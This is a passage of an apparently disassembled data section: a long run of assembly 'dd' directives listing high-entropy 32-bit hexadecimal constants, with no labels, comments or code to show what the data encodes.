841B6BDBh, 0D89421C0h, 3D394C7Ah, 8D9B4C92h dd 0D5F963ECh, 0A3F471D2h, 0BB05F986h, 0F43F6280h, 8869FD10h dd 0A8125D0Ah, 1DC42395h, 68540135h, 595F7D08h, 7EFFBFA2h dd 8A82703Bh, 0E885B162h, 288B98D9h, 0B7B8C566h, 78FBF89Ah dd 0E752EB3Ch, 5294AB65h, 5253CF0Ah, 6CEC56D9h, 30804AFBh dd 42DABAADh, 951157B0h, 0E42DA12Eh, 6B2A205Ah, 0CC6B74F3h dd 0CD379F45h, 7F557213h, 60C44336h, 8BD1F844h, 0FE09199Ch dd 47389075h, 0C2072B05h, 0E885E089h, 0D59B8D8Fh, 76E33F61h dd 63255463h, 44124962h, 7940BD8Ah, 3CC97339h, 77AB84C0h dd 943646BCh, 0C32340B4h, 38F19271h, 0A7262A55h, 79665D40h dd 1A2A20Bh, 2CE08226h, 42D62861h, 2A1C8AFDh, 0B3648046h dd 6225E34Fh, 0FDB5E80h, 80505B84h, 37B7170Bh, 0A0819F1Eh dd 27298AA8h, 0F40E46B5h, 513ABE40h, 935CF727h, 0F5A3A4EAh dd 0F976316Fh, 0C7A61550h, 0E091009Bh, 8CDB3148h, 0C8533A5Dh dd 1F0F603Ah, 18D6E74Bh, 0C7C8983Bh, 44C5C036h, 0B59C9EF6h dd 0B7DBA463h, 6C9F117Eh, 941B6D25h, 611E7F7Eh, 560DC584h dd 0DE9B63FEh, 252036C6h, 0E1163BCEh, 0A83F1F94h, 0F6540B9Bh dd 9323AFECh, 5C70F40Ch, 832FBF62h, 6E4ED4Fh, 0AC84AA50h dd 1BAE3E93h, 6D15B37Fh, 0DFFE39F6h, 647C950Eh, 0F9DD458Dh dd 0B6F4AC83h, 9DAD67BCh, 459DFEF1h, 0EE75D004h, 0F4A383Ah dd 92C33C51h, 0B97BD09Eh, 0FD52CC33h, 3D046FD4h, 0D76C0C3Eh dd 0CCFD054h, 0BC98075Eh, 90B8958Ch, 56DD3450h, 0F7A91709h dd 4F4C7FADh, 0ACC1D6Bh, 0BCF4B890h, 0FA6762DBh, 0EB9A5013h dd 0FB9D5CACh, 19FC67Fh, 9569EC39h, 930B7E8Ah, 0E2FB9148h dd 0E5B10739h, 328FF9C7h, 2F029814h, 4C426BE6h, 83658875h dd 519222A0h, 7FD501E0h, 38FDBFF4h, 88C7EADCh, 968FECDEh dd 6CA5329Fh, 162587ACh, 8E0DCCDFh, 0BC24717Ah, 72EBD414h dd 3F2CA245h, 0BB06DDA0h, 117CB559h, 0E4922BC2h, 38757C86h dd 3DD366ACh, 0F49F4393h, 81AA6F33h, 0B2F4CFEAh, 1EEC95FCh dd 0AAE0232Ah, 0AF0DA6D0h, 0B05F244Ch, 66C042AFh, 2A3F408Ch dd 0B7FF612h, 57761440h, 820A2D5h, 5291B2A7h, 0F988A7FAh dd 9AC76F5h, 7869BD4Bh, 0C09474CAh, 0E7B4F4D5h, 0CBAB39C8h dd 0C1256B38h, 56F2F6BBh, 0C4BD560Bh, 7E52D0E1h, 0DE98C782h dd 0CC7955CDh, 1C71B7EDh, 0D8CA3D57h, 7E710C34h, 0FFED5391h dd 0CAB0D7DCh, 0D8016894h, 6CFF84CFh, 4B803BECh, 0C1F10C6Ah dd 2228F991h, 0FC51DE4Bh, 764FA798h, 717767F1h, 9F3CE2EBh dd 0B1C13597h, 4ECD48AEh, 5969FC47h, 52E160F7h, 0FF7D4C6Eh dd 0D581556Ch, 22E1587Ch, 49ED9AAh, 1ADBFE80h, 6152A1ADh dd 6DC2DAD0h, 0D4D459D5h, 225208A0h, 0B233EBBFh, 9806DA4Fh dd 1498E536h, 0DF63A3F8h, 0A219DBFEh, 31F07562h, 0AE131062h dd 55DD4997h, 0E9DD3CF0h, 8CD6372Fh, 0F864B665h, 0CDD2C0CEh dd 54D7E6C3h, 0DB6C4E07h, 0E5A53874h, 26FB28D6h, 41C66AF4h dd 43F25605h, 0D114F994h, 0BDDB2304h, 0FA396A2Dh, 4C8A9F33h dd 8B4F0537h, 0F4197CADh, 9576250Dh, 0E2CAC40h, 0D940F928h dd 588B6947h, 14320571h, 0E0F3D4ACh, 0C45817B3h, 6A33B618h dd 0EE9D067Bh, 3EF7BE51h, 80FEE624h, 0AEEA0F50h, 0C3780421h dd 86A2ACACh, 2048D6B8h, 5EBAADF3h, 75C443AAh, 8AD5234Ah dd 3331474Bh, 80F49547h, 11CAF1A2h, 5214E91Eh, 0C1321613h dd 0AC2FB964h, 0A2B01389h, 0E97B330Ch, 4E9510E3h, 0D743B98Bh dd 6DE617D9h, 0E70E3D2Dh, 3E96C9E2h, 1030C2C2h, 90ED51BEh dd 0CB339F44h, 6F197D95h, 711C1137h, 45844865h, 59F221BDh dd 99BADB80h, 339A5706h, 0BDD2F22Bh, 68C876D3h, 0F24CFC1Bh dd 526C9C85h, 5BC6A95Eh, 62C747F6h, 0CABCE514h, 0CE21E398h dd 16E93B95h, 86CDC845h, 65AD043Ch, 8D04DA92h, 7DF4EEF3h dd 420354ACh, 32F78642h, 2D7A9BE2h, 0A2C9A00Ah, 0CC84DD2Ch dd 0BB266F79h, 0B62DC253h, 5648D6C1h, 0FA7CDCC0h, 625745B8h dd 0D7C8F8FCh, 0A14253B6h, 0EA4AFF12h, 8BEE792Bh, 318FE50Ch dd 0BA77D458h, 0B9885B10h, 1EB1A7FDh, 45102CCh, 6081A91Eh dd 76EA2DDCh, 6FEA39F1h, 0E998AC6Dh, 7ABB8D4Dh, 5327EE10h dd 6DAE445Eh, 21C97F97h dd 13EA3665h, 70EA47C1h, 0A3CB082Ah, 9C272BBh, 57F391F8h dd 0F7DF06FDh, 0E018CD81h, 4F72BE31h, 0E2BDE669h, 849B3DE3h dd 46AFA121h, 69710508h, 0AC119150h, 7104521Bh, 2B46F3Eh dd 5664C0D5h, 1C37E92Fh, 1D02E9E2h, 0C9822CF2h, 4F439A24h dd 0B9DE140h, 0DCAC3C54h, 0F3A226E9h, 91B1C0C9h, 0D234D41Bh dd 8F954333h, 1F0202C4h, 9DB297E4h, 0B5987BA7h, 6F2C31EEh dd 40E689F3h, 2530237Eh, 1B856190h, 8135636Ah, 0AC4ED40Fh dd 651B314Ch, 0DC150F1Fh, 7D721633h, 0A38F1E2Ah, 0BA5DD375h dd 68A53D61h, 9BC6DFB7h, 94610A31h, 7AB5C37h, 9538DA60h dd 0E2592FF1h, 9FEBCEB0h, 89355EEh, 0FF9ED895h, 35F1D7C1h dd 79C4C710h, 4C80A0ABh, 0ACB042FAh, 0CE023BB3h, 0E5F1FECAh dd 0A82D4032h, 0F3A2862Eh, 0F60DB72Eh, 0EFA10075h, 0B7C93444h dd 21F01C34h, 8D13F9C2h, 7723CE47h, 16A1945Bh, 732DCCBAh dd 0E7DC149h, 0F25A8CBBh, 994B5725h, 8E82CC6Ah, 0FDC1A052h dd 429E3E14h, 0EA669096h, 4B83085Eh, 0A70BD6DDh, 4475C791h dd 0CE7436F4h, 45DD596Fh, 97590EBEh, 7CE7F602h, 0B3CEC2B4h dd 314146D3h, 1280D042h, 8EC8F50Eh, 0F0ECE948h, 0B2A91666h dd 8FB04C58h, 0C211CE57h, 4AD704F7h, 0E318C0FAh, 0FEA47B05h dd 8BA94A70h, 9A8B101h, 0B1D982D3h, 939C06DAh, 5202EC08h dd 9307DFBh, 6459E05Dh, 5B66EDC4h, 880662E3h, 8A2AD8D2h dd 0DE1FE1E0h, 0B081CCD0h, 56DFD960h, 0C264CD00h, 18C35DA9h dd 0BAC1A58Fh, 0D153D326h, 89CDC8CEh, 4AD2E725h, 92E28F23h dd 2636C5BCh, 0CAE5D03Dh, 5745BC44h, 92F1D9F0h, 0CA0BAA41h dd 0D56E6F5Dh, 90BEAAA1h, 7FABC9Eh, 1C36F863h, 0D175D13h dd 9D55B69Dh, 8495FC52h, 0EDC28F06h, 0A99AAD17h, 8C902754h dd 0F942BD09h, 0EDDF61AEh, 0E3F40331h, 35641BCBh, 0C3674A4Fh dd 90498898h, 52732290h, 0D30471C0h, 0C472217Eh, 60A39C5Ah dd 0A2BEA6C8h, 0EEA54884h, 50875B6Dh, 0BA20627Ch, 5CD2EB7Fh dd 9C863B10h, 393BCF42h, 0E9888BFAh, 2562EEFBh, 68C68A42h dd 4FE08B53h, 0FE41F03Ah, 391C1B92h, 91CE78AAh, 0A8A94892h dd 98506233h, 638D69B5h, 9B9BEC8Eh, 91E6D944h, 0DB5DC8C7h dd 0CCFBCFDCh, 0AAA3E323h, 4E313237h, 221FA791h, 2783F1E5h dd 6C31151h, 1E933806h, 524C8EE7h, 0B880BA2Bh, 26E6535h dd 0F1BD320Eh, 0A49D0808h, 9E875FDh, 977E1007h, 1FDCA9FAh dd 0B475030Dh, 934F448Bh, 23A21A2Ch, 1EE56346h, 966C413Dh dd 236E92CFh, 0B0D20CDBh, 0A6C1C76Dh, 0A34A966h, 8F9D9D97h dd 0FFB481AEh, 0FDD2CECDh, 0C9561B5h, 223B4CBh, 0D904FF74h dd 0D03DE904h, 6620266Bh, 0A706C5B5h, 0A5DFF14Eh, 0EFBC2137h dd 0B07FB27Dh, 0CB2D7428h, 297D7EEh, 7B6F96A1h, 44CE2467h dd 7B339174h, 0CF4B5170h, 9C913970h, 0BE15E88Dh, 7A5A83h dd 4B793721h, 0A8DAACA8h, 5EE32010h, 0AFE07C6Ch, 0E20F475h dd 0F004660Bh, 49978775h, 343F8D20h, 45209214h, 78E1E42Dh dd 602C3E8Bh, 82C23C0Dh, 2118AB85h, 7CE9D4D4h, 85A5E002h dd 0FA5FD320h, 130939B0h, 62687FD9h, 4F3F6B64h, 4384378h dd 0ABA6722Bh, 0E5CD1390h, 0F3A5645Ch, 632A7D3Ch, 762ACBC1h dd 0B6DBF0A4h, 2D6D0EBAh, 52AF8534h, 0C7016B14h, 0C94A6415h dd 1687206Eh, 0EDB52E68h, 26FD6945h, 97B6BA2Bh, 8A9358FFh dd 0A482F95Fh, 985EDA64h, 6B3E3651h, 0BC0DD7E6h, 0B77E694Ch dd 42EB686h, 4AB0072Bh, 1D516699h, 46C694BFh, 4CAEDFh dd 0F354F80Ah, 8A66E618h, 0FF78F99Bh, 7A74B391h, 3B44FAF5h dd 31627EDFh, 9EE40979h, 3ADD0DD6h, 0E766CAD9h, 0F0104B09h dd 151D9F7Dh, 27823EF2h, 3B03B4D4h, 439DA95Ch, 1C9DE9C2h dd 0A4480439h, 2BD54279h, 51361781h, 96021E68h, 0C77638A7h dd 22BE2751h, 688A8BF8h, 0E649E1E7h, 0F4AA2B99h, 78781064h dd 0E653FD1Dh, 0EEFAC2FBh, 4CA6BB23h, 9D65906Ch, 8F860D03h dd 0E35320A3h, 151B3B20h, 3F4B27BEh, 7B83A624h, 3F7ABC85h dd 0C9A7BEABh, 272D69A7h, 0A387B7EDh, 0D6683A0h, 76F86B9Bh dd 896D4366h, 8E639B54h, 0D3FE2D94h, 8041F438h, 3AEEA1A7h dd 0DA2281E1h, 52E577DCh, 94FA7E90h, 7AEC64B3h, 97C287D0h dd 112B0325h, 0EDE78390h, 9AA31E45h, 3FE9AFB0h, 75F5D156h dd 0D2F1E718h, 8D09DF55h, 0E9A53FCCh, 2810315Dh, 58E45EABh dd 7B8A4759h, 3DF7944Bh, 4FE9EF2Eh, 672EB93Ah, 272D994Fh dd 20D45B8Ch, 6D15E931h, 0E3225187h, 3875BAE0h, 0F71F152Fh dd 0DB3AE533h, 5D4E42B4h, 0E7A1F98Dh, 112BC522h, 639770B5h dd 44583115h, 3689E929h, 0BFF8FD3Bh, 5A6113E3h, 83654ACBh dd 0B516150Ah, 4FC9799Ch, 0A2FE60A4h, 3F5A356Bh, 127E23F6h dd 2B350322h, 305BC156h, 9529D76Bh, 8A749C54h, 258966B8h dd 0EF80D84Eh, 0EC534FCCh, 0E31771FEh, 862CA45Eh, 9158DC48h dd 9FD14637h, 12E89EB7h, 0D7F76BF8h, 9CCA6C18h, 84F896DDh dd 0C7D2BEF1h, 509E382Eh, 0BFD1FA3Ah, 338ADA34h, 0A055C241h dd 0C22A0013h, 2C88BD3Eh, 9CB2F162h, 0A16E5677h, 5DE77626h dd 35326E09h, 85A5B178h, 0F83F8687h, 77E6DC9Ah, 3738749Ah dd 5D1141C0h, 0C34CEA91h, 0C31BC84Dh, 60EAFEFAh, 8FE6AF9Bh dd 127669A9h, 5A3A286Fh, 5EB9630Eh, 0D78EB202h, 708A1FAAh dd 0DB59F51h, 9EDCB839h, 99A4E27Ah, 1BBF822Ch, 6F77ADC0h dd 5AA6DC54h, 0B195F0CEh, 46C421BDh, 0C1B5EAEAh, 0CCDDC212h dd 0BAC45093h, 36C5B6B0h, 84DBA464h, 38887C87h, 0DABDCEA2h dd 772ACD4Ah, 0D96EDA4Eh, 24840AF2h, 0C680B21Ah, 4A9A9B46h dd 6315E07h, 0CB815829h, 2DA02B97h, 88E025B7h, 12017E90h dd 47919C58h, 1AB17424h, 0A5EC91h, 530C88E9h, 3127CC6Dh dd 6AFBB431h, 330B48A3h, 997D1B44h, 43513041h, 20FC8B6Bh dd 483795C9h, 134EDB82h, 0D40BEBD3h, 9A4CC2CBh, 0ECE855E4h dd 36F241B4h, 307BB008h, 76457685h, 1E7EE28Ch, 0EFEA874Bh dd 69B3D46Eh, 6CCCC64Ch, 0E72CDE92h, 2A7984FCh, 0BA723C12h dd 2DFB82B1h, 3AF363E9h, 8383039h, 11DE6A25h, 230964E8h dd 0A0AC1906h, 98C16F3Eh, 0B9CBC8AFh, 8EC01FA9h, 20EE7655h dd 18A74350h, 293AE22Ch, 0F004B929h, 0B36A77D4h, 0B43D1941h dd 0E25B5776h, 0F8371493h, 0F862317Bh, 25A33054h, 2877887Eh dd 1BA2ADEBh, 0A73C0C49h, 8CCE6C79h, 5A9EA3C5h, 61F00477h dd 222D30C1h, 0A3582DE4h, 0C298197Ch, 4E4DF092h, 67B78C8Ch dd 0D4CC5879h, 7D8B85h, 0E6F58924h, 1EE39654h, 519172EEh dd 0CE816DFAh, 0F57B0D49h, 5047DD14h, 56D3A412h, 16996B70h dd 0C96C96B8h, 0D6D4B84Eh, 4FE262B1h, 0A091B5A1h, 42CB746Ah dd 0C90829B9h, 0DAE9BCC0h, 0E6B15D98h, 1B7595E0h, 0B8D12EE5h dd 0F242CDFEh, 0A2C29B7Ch, 9853460Fh, 334D9D93h, 245C2B27h dd 74631E0Ch, 9E3897ECh, 0FC7C8798h, 789F9E02h, 0F53A1F17h dd 77561D02h, 0AE72051Bh, 711E97D2h, 0FCF6FC0Bh, 0C5AE357Bh dd 0DEDD6217h, 0C6E84B6Dh, 0A8DBED74h, 1AC0A3A6h, 0D315681h dd 0AE6F8EEDh, 17AFFABDh, 0C15EF146h, 0DE2D2FB6h, 0FAF4A796h dd 3B3F4824h, 0BAC04362h, 0F2DB06F3h, 0DDBE3D86h, 0F5F8A236h dd 5DF740BEh, 0AA48375Dh, 811357C5h, 0C4C8E5F8h, 165F2CF8h dd 7991BACAh, 12AF0B89h, 0BD4541F2h, 0E1DF18FAh, 20E4874Ah dd 945FC1D7h, 6C4A521Ch dd 21297D33h, 28C6FFC7h, 6E99167Ah, 0C426D4BCh, 918C24C0h dd 47CD83C5h, 0FC9CF713h, 5232785Ch, 7F70302Fh, 0AD32185Dh dd 64900DBCh, 89C0056Dh, 9DCE70B8h, 0F93153CFh, 0FAC2CA9Ch dd 8D57D15Bh, 0CD73E1C6h, 7730DD23h, 5AC75BE6h, 0AEC2130Bh dd 0E1F2BAA7h, 3C4C894Ch, 6278836Ah, 0A4E9D9C3h, 0F2E48A42h dd 59E26713h, 3C4890C6h, 41C03C69h, 2C70B1B1h, 383441BEh dd 0BD0F7F1Bh, 0F1F8CF4Ch, 16761FE4h, 889D2121h, 0B03004Fh dd 9C38A288h, 0EEBB94B5h, 0E3AF6CB6h, 0E2357A03h, 1867505Ah dd 9A787A95h, 7353FF95h, 0AF39363Ch, 4C09A764h, 0B69CD6h dd 3AC40744h, 141F9E95h, 3078A068h, 17DFCE33h, 14B07F4Ch dd 81D7691h, 449527CFh, 37A4C9CBh, 238F3A8h, 8DBD32C1h dd 0DB7A249Ch, 0EC3FEC1Dh, 4DAB3019h, 0D0E18ACBh, 0F94D0B7Ah dd 950E3CE3h, 0A5A90C38h, 51FCD1ACh, 7E666517h, 72CF524h dd 6B2747C8h, 85267335h, 80E45E1Fh, 41781FC1h, 0FBABA5CCh dd 0DE17B4B6h, 0E505F4CCh, 50A4F3C8h, 82DEFDD2h, 278CE080h dd 98F4D2B3h, 70FF1EF8h, 0EB41FC71h, 68E1A462h, 6B1C17EAh dd 2C32F0D1h, 234B16EEh, 0A46E48D9h, 0BB9F44DEh, 9FC0A558h dd 2BF4B4F2h, 782C5EC7h, 0BAD9B940h, 0D74E908Bh, 0F27CA970h dd 88BFA43Bh, 0EEB36FD2h, 0C1C9502Ch, 0F552B795h, 549FADEEh dd 5F8A1BBEh, 808C4DBDh, 552F9B90h, 0F155466Eh, 9F22047Ah dd 0B44FA617h, 0E2E3CC73h, 97C58B16h, 38A9B757h, 2B0592Ch dd 5E4C1FADh, 0F81A96C9h, 0B399AC98h, 21F3B39Fh, 0B01ED71Ch dd 435429CDh, 0EE6111B8h, 128ADB18h, 383BE170h, 2AA728BBh dd 0C3A4388h, 9FBBA7BFh, 0EF994354h, 61DB48C8h, 7348E518h dd 0EE63209Fh, 94F3F4B2h, 0DD4206C2h, 3827A88Eh, 0C0660CD8h dd 7A83B4BBh, 0B2BD55C8h, 55E6AEB6h, 96374F66h, 0B5254729h dd 0F8499474h, 0A239291h, 43DCAFE3h, 6F5827F4h, 0A6346EFEh dd 0C021108Bh, 0DA079558h, 21544D07h, 0EA33DE1Eh, 0B26D8CC1h dd 0E79FE392h, 97735BF9h, 0E76314ECh, 0BF6D53E9h, 0A0B71F82h dd 1745E46Dh, 0F5D51D91h, 4EFE178Fh, 0F96F5BA3h, 0B41ADD0Ch dd 7EAA6031h, 0D2FBB40Bh, 69BF7F94h, 3E62FA89h, 0FFAFB67h dd 0BC3B5ADBh, 8D014727h, 0E2BE8971h, 0B473B731h, 3F3FEB36h dd 0CC59FF4h, 30C0713Fh, 43AD832Bh, 4E31EE47h, 2F0C064Eh dd 0A4749256h, 0C981D69h, 8865D65Ah, 0BC6B42B0h, 0B499E5A5h dd 0A9A5A4B9h, 0CDBE5F31h, 7D343106h, 2FC7E547h, 0D607062Ch dd 3932DEBAh, 802990F8h, 43B2F9B0h, 0E5716793h, 119A459Bh dd 0DB13A08h, 0D0FE4F9h, 18982D28h, 0B08B2BDBh, 0B0FB45F3h dd 0F08B7765h, 17650A77h, 0AB9BBEF9h, 0FC05F5B1h, 0B617A432h dd 0C8F3F0Dh, 728CFF41h, 922D5F9Dh, 52111493h, 8851613h dd 0CF0780A4h, 0FFC89F95h, 33D9EE30h, 0CBBE75ACh, 0C4230541h dd 7CBE3059h, 54154915h, 0B4276C1Dh, 859CCF2Bh, 13736CA9h dd 6306B3B8h, 0FB484A16h, 7E0470F9h, 6C04964Ah, 0BDCAF88Eh dd 0F3EB599Dh, 153DCD5Dh, 4E3FD0C3h, 4016404Eh, 3FC0F438h dd 5C5E436Eh, 0C3EA7662h, 0C24FD122h, 0DFF4EEBBh, 0CEAF46F6h dd 0D5947C7h, 0AFC6CCB6h, 3EE4DE2Ch, 0CCB0C8A5h, 41D881A2h dd 0E95AB767h, 0B27FF31Eh, 480615B7h, 5F06F058h, 0D85B90EEh dd 370FDBC2h, 502BFD38h, 0F2B7688Eh, 0BC8B9386h, 0BBD9D6B8h dd 0C75A7FABh, 64195DF6h, 0FD3D8951h, 66685CBCh, 0C5FA85C0h dd 0D78234D2h, 50907A90h, 964F583Bh, 0F75CD1C3h, 0B7ADA050h dd 0E73FB770h, 82323F52h, 62D5DAD2h, 5F6E8781h, 0DEC73784h dd 0F0E36876h, 6B9D8E09h, 0B40AB69Bh, 0B1AF1AE8h, 0C7AB14F6h dd 0DA0B540h, 0E896C4A5h, 7F0A555Ah, 518B4993h, 2BE0E04Dh dd 558ABA3Eh, 2C88570h, 0CAC588B0h, 6ABC07E7h, 6114A46Ah dd 41D44B28h, 0C4672895h, 0D6EA32E7h, 5AC75254h, 3EEC280Ah dd 657DC95h, 0B5C8E265h, 22E5EC1Ah, 0BB664A89h, 6107E190h dd 820F8AC1h, 9FBEA6E2h, 175823E1h, 0BD3266F7h, 45371FC3h dd 61901054h, 86AFC5CEh, 1DD2313h, 40578D1Fh, 75DC1A33h dd 1AFF5F7Eh, 106AE4FCh, 0A7869535h, 58622A43h, 1D80CEDh dd 4654D2F1h, 2500EDA1h, 3638E9B7h, 61473D16h, 96B01F5Bh dd 6698DEB2h, 9FDDEE6Bh, 971F5810h, 535A37C3h, 74CCE31Fh dd 6989079Dh, 0B2DDAB65h, 391F7601h, 36C67BEAh, 0D8391E4Eh dd 0C6FC628Eh, 2061DE25h, 35971864h, 49AE3018h, 0B28533Dh dd 0D4D7EBB3h, 87FD4CBEh, 451ED1EBh, 8E80A987h, 9ED1F993h dd 24FF5CFFh, 633BDEAAh, 38335CBBh, 7F587146h, 180746B8h dd 0F34C1096h, 1FD5FA9Fh, 3EF69EDBh, 0CCEA4BF2h, 93D354ABh dd 0E4926F64h, 0CB75E2E6h, 83E5688Fh, 6696E407h, 43F9FB99h dd 0EB7DAD76h, 459FB906h, 140CBF3Ch, 0DC66B3D6h, 0D535B9E8h dd 0E65934FDh, 3B5E4FF6h, 674DF7D3h, 59377A3Dh, 0A9D2542Eh dd 0CBCF08B8h, 0B10AA384h, 54880875h, 0C8A4EC4Ch, 5001E2BAh dd 0AE4A0833h, 3DDDAC33h, 0CB148E52h, 96F62DE3h, 5225D5F2h dd 18EC593Fh, 50B4949Eh, 0F865EE02h, 9E912B68h, 97415221h dd 0A33A12Ah, 0BE28692h, 0EBC3126Fh, 7238E600h, 75D332A8h dd 5F6323DDh, 3B35C4FAh, 4A736A59h, 0B0536F45h, 75D58B7Ah dd 88F1CC11h, 7AAAAD4Ch, 418075CEh, 0D7763AD9h, 45B06DF2h dd 0FE50D48Ch, 0FFF7EF18h, 0F5A8D171h, 0EBBBE61Ch, 160D9237h dd 0EB2387DFh, 50990D89h, 0EA6FB2B2h, 4C2CC401h, 0FE058450h dd 0BAB29DF5h, 440EB379h, 32824C42h, 11248811h, 5BBFEEC4h dd 82CD4857h, 23B5D911h, 1A4F799Ah, 6B186ADAh, 7E6E7CFBh dd 8CF9A41Bh, 5CBF74Dh, 8E907DE7h, 6A5818E1h, 0F8D6B062h dd 9EEBB7E9h, 0E5226868h, 5BDCD3DEh, 3FB3FC38h, 894D3536h dd 750671F2h, 0FA5EAC21h, 436C9389h, 0D58A2945h, 252B35A6h dd 523EB7E6h, 492D34AAh, 0D6864E05h, 6E74DDA8h, 0E84AEA56h dd 896D49ACh, 23E1FC0Bh, 0E3822862h, 46181D72h, 0B91AD2C2h dd 0C6CE6693h, 3ADB559Bh, 3D17899h, 77B0C92Eh, 0D02D4AC6h dd 0B252A7Dh, 0D700B573h, 0F9752FBDh, 38588041h, 0AA995665h dd 9176C7DEh, 6D093497h, 0C5468E1Dh, 0E3261BBAh, 19A5DF78h dd 104A014Ah, 8A5449ACh, 0A42094DFh, 0C8B8883Fh, 4323AF9Eh dd 921BC08h, 0CBE26587h, 7F9972F2h, 14F7450Ch, 6F519AE7h dd 0B784B450h, 7AD0A5Eh, 29B8787h, 36AFF6C8h, 7F5A4E2Ch dd 97620400h, 0ACCF689Eh, 9EF449CBh, 0B17655B5h, 1A3D97D9h dd 45E7D980h, 3CF32DAh, 0EBAE91D5h, 0E8504C37h, 322C041Fh dd 8B093669h, 0D9397188h, 27D469D1h, 0A89DFC3Ah, 185497DEh dd 412B3A2Eh, 59290CB1h, 7E0095E4h, 259EA38Eh, 484BB22Eh dd 0C371E69Bh, 2F870F63h, 0EF814467h, 3E46AC30h, 9B0AB4B3h dd 64D9520Ch, 0E7EB80E4h, 22A8600Ch, 8032AA2h, 11ECA2AEh dd 31650696h, 0CA021633h, 1D096158h, 0E8CF3281h, 0CBB3F9F9h dd 82C2B17Bh, 0D184444Ah, 0B1ED6AEBh, 0CF325689h, 0F346D3BAh dd 0C85F1292h, 57200FE6h, 8DA2F3D3h, 89840F0Bh, 0AB8081FEh dd 9D5D0384h, 8CAB2399h, 0C0D145F6h, 0F20B4354h, 1AE803D4h dd 0C2E5E92Eh, 24E7F7AEh, 0D791CEB7h, 7D685196h, 0D4662F64h dd 41759F1Ch, 7566C8A1h, 0AD201FE5h, 17565443h, 0C46E4E93h dd 0C733D782h, 3C6FAFF6h, 0AD186386h, 0D023E1D0h, 0A9AB32B7h dd 88F4B7F6h, 7164A3C3h dd 7116BFA9h, 88EAE148h, 2EAB488Bh, 8994702Ch, 472B0305h dd 8751CEF9h, 7859CB0Ch, 2AB219E4h, 3D002594h, 958C8A42h dd 0C50A69h, 91861B02h, 51CBF143h, 1F23934Dh, 46C411AFh dd 0D0043FB8h, 570C9B2Bh, 0D1F3EA0Bh, 0E75256D8h, 55252D0Dh dd 0ABAB3980h, 0B4033FC9h, 48A2EAEBh, 6D3D76B7h, 2F1B6DC0h dd 0AACAC05Ah, 229A8C7Fh, 4E3A71D2h, 3F270E49h, 50B15B79h dd 6B0A077h, 6FE6513Ah, 4BBEE28Ch, 985F7294h, 0E393AA09h dd 348BC99Bh, 0CDA68871h, 47AA5036h, 1910B7A7h, 43E3EA19h dd 0E5ECDF0Ch, 0D9F8AD3h, 3D648BECh, 0FDEB79ADh, 1152717Ah dd 0C4AEA878h, 706AD921h, 9B1AE6E0h, 6C9808A5h, 66B94DA3h dd 17D9204Eh, 0F35664B0h, 84C447D2h, 50FDB24Dh, 9EE699D8h dd 2F17B985h, 7C3624A3h, 281796E5h, 9C944DC2h, 0CE412A50h dd 0DFDADEFDh, 5CBFA9B4h, 1770F52Ch, 0A5BEAD7h, 1232D946h dd 0CDB3819h, 0B17EDF4Bh, 1A9145B4h, 6BEB2C38h, 5DBC26Fh dd 7512B1B2h, 1809249Fh, 0DADB0DECh, 4531062Fh, 0A3FB68CEh dd 0F441C890h, 0A7D49362h, 8E9C03B0h, 0A8D68BF6h, 0D732153Fh dd 67D47EF5h, 703164A9h, 21A1DD74h, 0CF0533EEh, 4C5B1043h dd 6E8107C4h, 4B8964EBh, 1BCA469Dh, 409F0BD7h, 25E905BAh dd 69ADCAFAh, 0FFDA0A60h, 6983E918h, 0A4969B45h, 1032C383h dd 1F60A7A8h, 3311CBB0h, 4715E39Eh, 0C5D61232h, 0F46104A2h dd 3B444E5Dh, 0C07AD05Ch, 0A9B92CBAh, 18BA007h, 5BDC3EADh dd 0A3A51C54h, 190BF7A6h, 1CC11AE8h, 962EE510h, 2E4B5E8Ch dd 50CFB1B4h, 0AB06F48Dh, 27C4709Ch, 616A1B3Fh, 88F811D8h dd 959685F2h, 0A498E1B7h, 8A91FDD3h, 59F09350h, 0DB976A9Fh dd 4772394Ah, 0A441E7FBh, 7B9EB106h, 84CBBDE6h, 447D6568h dd 0A1331A47h, 0BCE9DE8Ah, 5316E869h, 2CBCCCE3h, 0ACFF824Fh dd 43A67890h, 861759BBh, 255BF668h, 71B6060Ch, 62591A25h dd 0C0DB79C5h, 5C1EECF6h, 4AC2E64Eh, 74EB387h, 986022h dd 0DAED3770h, 7AE57806h, 1469E677h, 0DAE07034h, 5CB91F2Dh dd 0EBFC1457h, 0EA42E96Ah, 931DDC26h, 3EE9ED5Eh, 25E01EABh dd 95B5FC69h, 27A57C7Ch, 3F26FCA3h, 0ED33792Ah, 0BC70EDCCh dd 29F8B5E7h, 0E0BB7C49h, 0C329A210h, 435A6133h, 563B1F6Ah dd 9FCD3093h, 2247F49Dh, 0BFFA374h, 18C03BE1h, 8388071Bh dd 0E7AEF1ECh, 8891B7A2h, 3718A9B9h, 0C6EFE464h, 0AD878EEDh dd 10C93E61h, 0FFDD6BB2h, 17E3FCD6h, 8914D225h, 3243017Fh dd 0C08D3D47h, 0F38A18E3h, 0D18B6D3Ah, 5544153Fh, 0D55D8830h dd 0EF215924h, 0F1A862FAh, 0BFE2299Eh, 5C835D60h, 36E877A0h dd 9B830D8Ah, 6BBF9DE5h, 0A2555E7Dh, 0B7289818h, 0AD6EFB4Dh dd 5FBA7A26h, 54B582E7h, 0BA5F2711h, 42EF8EC6h, 214CC88h dd 7A9AA280h, 6618AB29h, 5C499372h, 0BBB33DF5h, 317A991Dh dd 5BCAEF9Ch, 55B8E80Ch, 0A6EE96CDh, 2B317C89h, 5F3B4B0Eh dd 0D8126FA0h, 1EB3BAA6h, 0C79879BCh, 54CF0B0h, 0AC493BB3h dd 0E7493846h, 1892E3Bh, 254B45BBh, 8A955AFAh, 0D584CBDEh dd 0EC4C3E9Ah, 0F25F4319h, 0BFD7462Ch, 1A5EF71Eh, 5FE90EBh dd 0EC61DB9Ah, 0F22B55F8h, 2B9D2406h, 98BB4006h, 0FC9977ECh dd 93245612h, 0CEF850CFh, 6DD53F35h, 0A3223A75h, 245CF05Bh dd 0E856EB60h, 0AFF869FAh, 36691343h, 0CEA80505h, 0B52E1547h dd 47BF0827h, 9189CE1Dh, 0DFB6D43h, 0CC711C00h, 9802ED06h dd 0AAD461ABh, 0E899CC9Ch, 3DF6AE4Bh, 0BD68D5Ah, 0ACF944ADh dd 0FD7249DFh, 0EE3AD7DFh, 0B4FEA0E4h, 59C9C0FBh, 17813EC5h dd 0CCC8566Dh, 202571A6h, 5E22A212h, 9B430770h, 77FE135Ah dd 346CA32Ch, 0D3995F5Ah, 0F7CF9C01h, 517583B5h, 0FFC742E2h dd 228E4DA7h, 0C50AFE60h, 0ED8A2007h, 0C9125DB9h, 96BAD70h dd 90A3FD65h, 12A244EFh, 